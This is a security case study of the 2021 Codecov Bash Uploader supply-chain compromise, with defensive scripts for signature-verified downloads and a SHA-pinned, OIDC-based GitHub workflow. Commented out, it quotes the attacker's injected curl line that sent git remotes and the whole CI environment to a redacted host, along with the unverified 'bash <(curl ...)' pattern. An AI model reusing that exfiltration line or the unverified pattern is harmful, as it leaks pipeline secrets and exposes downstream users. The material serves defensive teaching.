Case study: the Codecov Bash Uploader compromise (2021)

Codecov is a code coverage service. In 2021 its customers sent coverage reports from CI with the Bash Uploader, a script that most pipelines fetched from codecov.io/bash and ran directly on every build, often with bash <(curl -s https://codecov.io/bash). Codecov's GitHub Action, CircleCI Orb and Bitrise Step used the same script.

An attacker obtained a credential that let them change the script where Codecov stored it. From 2021-01-31 the served script contained one extra line that sent the CI job's Git remotes and full environment to a server the attacker controlled. CI environments are where pipelines keep their secrets: cloud keys, registry tokens, signing keys and deploy credentials. For about two months, every pipeline that ran the uploader handed those over.

Three common habits lined up. The script was downloaded at run time from a mutable URL, so the version that ran was whatever the vendor's storage held that minute. It was executed without checking the published checksum, so a changed file ran as readily as the original. And it ran in jobs that held far more secrets than a coverage upload needs, because CI systems usually expose a project's secrets to every step of a job.

The added line was short enough to miss in a casual look and quiet enough to miss in logs: a curl with a half-second timeout and || true, so a failure to reach the attacker never broke a build. The code block shows the line as Codecov published it, and the safe way to see what a job exposed: list the variable names, not the values.

# Before: the pattern the attacker relied on, a script fetched and run unverified
# in a job whose environment held every secret the pipeline had.
#   bash <(curl -s https://codecov.io/bash)

# The line Codecov found in the modified Bash Uploader (destination redacted):
#   curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" https://<redacted>/upload/v2 || true

# What did a job expose? List variable NAMES only; never print the values to a log.
env | cut -d= -f1 | sort

Codecov did not publish a count of affected customers. Its guidance was to treat every secret in an affected job's environment as exposed, rotate it, and audit its use. The most consequential confirmed case is HashiCorp's: a subset of its CI pipelines used the affected component, and the GPG private key used to sign the SHA256SUMS files that validate HashiCorp downloads was in one of those environments. HashiCorp found no evidence the key was misused, but rotated it, revoked the old key, re-signed existing releases and shipped Terraform patch releases that trust the new key for provider validation.

That chain is the general lesson: a secret stolen from CI is often a signing or publishing credential for something else, so a compromise of one vendor's tool can become a risk to every downstream consumer of the victims' software.

By a customer doing what most did not: checking the downloaded script against the checksum Codecov published on GitHub. The values did not match, the customer reported it on 2021-04-01, and Codecov found the change. Codecov noted that users who performed checksum validation may not have been affected, because a changed script would have failed their check. Two months passed before anyone looked.

Codecov now distributes a CLI with a SHA-256 checksum file signed by its uploader key. The script below pins both the CLI version and the key's fingerprint, so neither a changed binary nor a substituted key passes; it was run on 2026-10-10 against v11.3.1 and printed Good signature and codecov: OK. Apply the same pattern to every tool a pipeline downloads: a pinned version, a recorded hash or signature, and failure if either does not match.

# Pin the CLI version and the signing key's fingerprint, and verify before running.
set -euo pipefail
VERSION=v11.3.1
KEY_FPR=27034E7FDB850E0BBC2C62FF806BB28AED779869   # Codecov Uploader Verification Key
BASE="https://cli.codecov.io/$VERSION/linux"

curl -fsSL https://keybase.io/codecovsecops/pgp_keys.asc |
  gpg --no-default-keyring --keyring ./codecov.gpg --import
gpg --no-default-keyring --keyring ./codecov.gpg --with-colons --fingerprint |
  grep -q "^fpr:::::::::$KEY_FPR:" || { echo "unexpected signing key" >&2; exit 1; }

curl -fsSLO "$BASE/codecov"
curl -fsSLO "$BASE/codecov.SHA256SUM"
curl -fsSLO "$BASE/codecov.SHA256SUM.sig"
gpgv --keyring ./codecov.gpg codecov.SHA256SUM.sig codecov.SHA256SUM
shasum -a 256 -c codecov.SHA256SUM
chmod +x codecov

Verification stops a changed tool; scoping limits what any compromised step can take. Run third-party tools in jobs that hold no deploy, cloud or registry credentials, pin actions to full commit SHAs, and use OIDC federation instead of long-lived tokens where the service supports it. The workflow below uploads coverage with the SHA-pinned Codecov action using OIDC, so there is not even an upload token to steal.

# .github/workflows/test.yml
name: test
on:
  push:
    branches: [main]
permissions:
  contents: read
jobs:
  test:
    runs-on: ubuntu-latest
    # This job holds no deploy keys, cloud credentials or registry tokens.
    permissions:
      contents: read
      id-token: write # OIDC upload to Codecov instead of a stored upload token
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - run: npm ci --ignore-scripts && npm test -- --coverage
      # Pinned by SHA; the action verifies the CLI's signature unless skip_validation is set.
      - uses: codecov/codecov-action@303a32d7a59b442fa8d48b6a1cc6825c09c847a5 # v7.1.1
        with:
          use_oidc: true
          fail_ci_if_error: true

• curl | bash in CI hands a vendor's storage bucket the ability to run code with all your pipeline's secrets.
• Publishing a checksum only helps if consumers check it; make verification the default in the snippet you document.
• Secrets in CI environment variables are visible to every step, so scope them per job and prefer short-lived OIDC credentials.
• Assume a CI compromise exposes signing and publishing keys, and plan how you would rotate them without breaking your users.
• The same failure recurred in 2025 with a mutable GitHub Action tag in /domains/supply-chain/ci-cd/case-study-tj-actions/; the fix is the same: pin and verify.

Codecov did not publish how many customers ran the modified script or which secrets the attacker used, and it gave affected users details individually. The public record names few victims; press reports listed others, but only some companies, such as HashiCorp, published their own findings. Codecov did not attribute the attack, and the indicator IPs it published are not evidence of who was behind it.

Sources & further reading

The standards, specifications and documentation behind the guidance above. Each is the evidence for a claim on this page; consult it for detail beyond the defaults and versions listed here.

1. Codecov: Bash Uploader security update (2021-04-15, updated 2021-04-29)
2. HashiCorp HCSEC-2021-12: Codecov security event and HashiCorp GPG key exposure. 22 April 2021.
3. Codecov docs: The Codecov CLI (installation and integrity check)
4. codecov/codecov-action: README (use_oidc, skip_validation)
5. GitHub Docs: Secure use reference (third-party actions and OIDC)
6. NIST SP 800-218: Secure Software Development Framework. Version 1.1 (February 2022).
7. OWASP Top 10 CI/CD Security Risks: CICD-SEC-8 Ungoverned Usage of 3rd Party Services. v1.0 (2022).

Reference information

Tags

Secrets managementDependency managementSupply chain attacksCI/CD securitySigning and software updates

SDLC phase

DevelopmentReleaseMaintenance

Role

AppSec engineersPlatform engineers and SREs

CAPEC attack patterns

• CAPEC-439 at MITRE

Download this guide as Markdown

Continue exploring